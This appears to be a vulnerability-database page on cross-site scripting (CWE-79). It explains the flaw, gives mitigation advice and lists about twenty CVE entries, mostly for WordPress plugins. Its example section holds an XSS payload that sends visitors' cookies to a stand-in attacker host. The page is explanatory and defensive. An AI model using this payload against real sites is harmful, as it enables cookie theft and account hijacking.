Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13743MEDIUMWonder Video Embed <= 2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-44061HIGHWordPress EU/UK VAT Manager for WooCommerce plugin <= 2.12.14 - CSRF to Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35631HIGHWordPress FV Flowplayer Video Player plugin <= 7.5.45.7212 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-48253MEDIUMWordPress Free Shipping Bar: Amount Left for Free Shipping for WooCommerce plugin <= 2.4.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-53377LOWWebGia allows Cross-Site Scripting (XSS) in cadastro_dependente_pessoa_nova.php via the id_funcionario parameterEPSS 0.3%CVE-2025-63883MEDIUMA DOM-based cross-site scripting vulnerability exists in electic-shop v1.0 (Bhabishya-123/E-commerce). The site's client-side JavaScript reaEPSS 0.3%CVE-2025-48488MEDIUMFreeScout Vulnerable to Stored XSSEPSS 0.3%CVE-2025-27306MEDIUMWordPress Pathomation plugin <= 2.5.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-54266MEDIUMAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-21872MEDIUMNiceGUI apps are vulnerable to XSS which uses `ui.sub_pages` and render arbitrary user-provided linksEPSS 0.3%CVE-2024-39663HIGHWordPress WP Fast Total Search plugin <= 1.68.232 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44007HIGHWordPress SKT Templates – Elementor & Gutenberg templates plugin <= 6.14 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-34553HIGHWordPress Stockholm Core plugin <= 2.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13884MEDIUMHide Email Address <= 0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-13519MEDIUMMarketKing — Ultimate WooCommerce Multivendor Marketplace Solution <= 1.9.80 - Authenticated (Shop Manager+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-47087MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-47093MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-0555MEDIUMPremmerce <= 1.3.20 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'premmerce_wizard_actions' AJAX EndpointEPSS 0.3%CVE-2025-28919MEDIUMWordPress Easy Image Display plugin <= 1.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27265MEDIUMWordPress Google Maps for WordPress plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%